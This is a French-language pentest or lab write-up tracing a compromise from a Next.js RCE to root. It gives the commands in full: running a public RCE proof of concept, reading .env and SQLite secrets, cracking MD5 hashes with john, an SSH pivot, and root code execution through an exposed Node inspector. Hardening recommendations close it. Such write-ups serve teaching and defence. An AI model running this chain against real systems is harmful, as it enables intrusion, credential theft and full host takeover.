react2shell_exploitation-fr
React2Shell : retour d’expérience d’une compromission web vers root
Contexte de mission
En tant que simple apprenant, j’ai récemment eu à traiter un cas pratique où une application React/Next.js a servi de point d’entrée jusqu’à une compromission système complète.
Le piège classique est de traiter React comme un simple frontend. Sur Next.js, c’est incomplet : une partie critique s’exécute côté serveur. Quand cette couche est vulnérable, une requête HTTP peut devenir une exécution de commande système.
Ce retour d’expérience documente la chaîne observée :
- surface Next.js exposée,
- exécution de commande distante,
- pillage applicatif,
- pivot SSH,
- élévation root via Node inspector.
Toutes les données sensibles sont volontairement masquées, y compris dans les sorties de commandes.
Ce que j’observe en début de mission
Objectif initial : identifier une porte d’entrée réaliste sans hypothèse forte.
1
nmap -sC -sV -p- -T4 <TARGET_IP>
Sortie utile :
1
2
22/tcp open ssh
3000/tcp open http
Le service web sur 3000 renvoie X-Powered-By: Next.js.
Lecture opérationnelle :
- SSH nécessite des credentials.
- Le web est l’attaque path la plus probable.
Qualification de la surface Next.js
Je valide rapidement le comportement applicatif avant exploitation.
1
2
3
curl -i -s http://<TARGET_IP>:3000/ | head -n 40
curl -s http://<TARGET_IP>:3000/robots.txt
curl -s http://<TARGET_IP>:3000/sitemap.xml
Constat :
- app Next.js confirmée,
- peu de routes publiques utiles,
- pas de leak évident immédiat.
Décision pentest : tenter une voie RCE connue du runtime Next.js dans un cadre contrôlé.
Première exécution de commande (web to shell)
J’utilise le PoC NextRCE pour vérifier l’exploitabilité réelle.
1
2
3
git clone https://github.com/ToritoIO/NextRCE.git
cd NextRCE
python3 nextrce.py -u http://<TARGET_IP>:3000/ -c "id"
Sortie observée :
1
2
[VULN] ... RCE SUCCESS
uid=<APP_UID>(<APP_USER>) gid=<APP_GID>(<APP_GROUP>) groups=<APP_GID>(<APP_GROUP>)
Ce que ça signifie côté risque :
- ce n’est plus une faille “frontend”,
- on a du code execution sur l’hôte,
- contexte initial limité à l’utilisateur de service.
Post-exploitation utile : chercher l’impact, pas juste “avoir un shell”
En mission, la valeur est ici : prouver ce qu’un attaquant peut réellement compromettre.
Localiser l’application et ses secrets
1
2
3
python3 nextrce.py -u http://<TARGET_IP>:3000/ -c "pwd"
python3 nextrce.py -u http://<TARGET_IP>:3000/ -c "ls -la <APP_PATH>"
python3 nextrce.py -u http://<TARGET_IP>:3000/ -c "cat <APP_PATH>/.env"
Extraits de sortie (masqués) :
1
2
3
4
5
6
7
8
<APP_PATH>
...
.env
<APP_DB_FILE>
...
DB_PATH=<APP_PATH>/<APP_DB_FILE>
SENSOR_API_KEY=<REDACTED>
ALERT_WEBHOOK=https://<REDACTED>/webhook
Exploiter la base SQLite embarquée
1
2
python3 nextrce.py -u http://<TARGET_IP>:3000/ -c "sqlite3 <APP_PATH>/<APP_DB_FILE> .tables"
python3 nextrce.py -u http://<TARGET_IP>:3000/ -c "strings <APP_PATH>/<APP_DB_FILE> | head -n 120"
Sortie utile :
1
2
3
4
<LOG_TABLE> <USERS_TABLE>
...
<MD5_HASH_1>
<MD5_HASH_2>
Analyse vuln research :
- stockage d’identifiants faible,
- données applicatives lisibles depuis le contexte compromis,
- pivot credential probable.
Pivot identité : hash crack puis accès SSH
Je passe du compte applicatif au compte système.
1
2
3
printf '<MD5_HASH_1>\n<MD5_HASH_2>\n' > /tmp/<HASH_FILE>.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 /tmp/<HASH_FILE>.txt
john --show --format=raw-md5 /tmp/<HASH_FILE>.txt
Sortie :
1
<SYSTEM_USER>:<CRACKED_PASSWORD>
Connexion et validation :
1
sshpass -p '<CRACKED_PASSWORD>' ssh -o StrictHostKeyChecking=no <SYSTEM_USER>@<TARGET_IP> 'id && whoami && hostname'
Sortie :
1
2
3
uid=<USER_UID>(<SYSTEM_USER>) gid=<USER_GID>(<SYSTEM_GROUP>)
<SYSTEM_USER>
<HOSTNAME>
Ce point est critique en restitution :
- réutilisation de credentials entre couches app/système,
- passage d’un RCE web à un accès système interactif stable.
Élévation root : interface debug Node exposée localement
Le différenciateur fort de ce cas est ici : un process root Node lancé avec --inspect.
Détection
1
2
sshpass -p '<CRACKED_PASSWORD>' ssh <SYSTEM_USER>@<TARGET_IP> "ps auxww | grep -E 'node|inspect|monitor' | grep -v grep"
sshpass -p '<CRACKED_PASSWORD>' ssh <SYSTEM_USER>@<TARGET_IP> "ss -lntp | grep 9229"
Sortie clé :
1
2
root ... /usr/bin/node --inspect=127.0.0.1:9229 <ROOT_NODE_SCRIPT>
LISTEN 0 511 127.0.0.1:9229 ...
Validation endpoint debug
1
sshpass -p '<CRACKED_PASSWORD>' ssh <SYSTEM_USER>@<TARGET_IP> "curl -s http://127.0.0.1:9229/json/list"
Sortie :
1
{"type":"node","title":"<ROOT_NODE_SCRIPT>","webSocketDebuggerUrl":"ws://127.0.0.1:9229/<UUID>"}
Exécution de commandes root via inspector
1
sshpass -p '<CRACKED_PASSWORD>' ssh -tt <SYSTEM_USER>@<TARGET_IP> 'node inspect 127.0.0.1:9229'
Dans le REPL inspector :
1
2
repl
process.mainModule.require('child_process').execSync('id').toString()
Sortie :
1
'uid=0(root) gid=0(root) groups=0(root)\n'
Lecture technique :
- l’inspector donne le contrôle du runtime,
- le runtime est root,
execSynchérite des privilèges root du process.
Chaîne d’attaque finale (résumé)
la chaîne d’attaque suit ce flux : reconnaissance des ports 22/3000, exploitation Next.js pour obtenir une RCE sur le compte de service, extraction locale de secrets (.env + SQLite), cassage de hash pour récupérer un mot de passe réutilisé, pivot SSH vers un utilisateur système, élévation locale via Node inspector root (127.0.0.1:9229), puis confirmation de l’exécution en tant que root.
Enseignements concrets
Une application React ne se limite pas à un risque frontend, car une RCE initiale même à faible privilège peut suffire à compromettre tout l’hôte, surtout si des interfaces de debug locales sont accessibles depuis un foothold interne, ce qui montre que la sévérité réelle provient du chaînage de plusieurs faiblesses et non d’un CVE isolé.
Recommandations actionnables
- Mettre à jour Next.js et verrouiller les versions dépendances.
- Supprimer tout
--inspecten production, surtout sur process privilégiés. - Exécuter les services Node avec un compte dédié non-root.
- Migrer les hash faibles vers
argon2idoubcryptavec politique mot de passe robuste. - Éviter la réutilisation des credentials entre application et accès système.
- Isoler et protéger les secrets (
vault/KMS), pas de secrets exposés en lecture simple.
PS : Un retour d’expérience technique bien orienté . Les exemples de commandes sont fournis pour la reproduction en environnement autorisé de test uniquement. See you
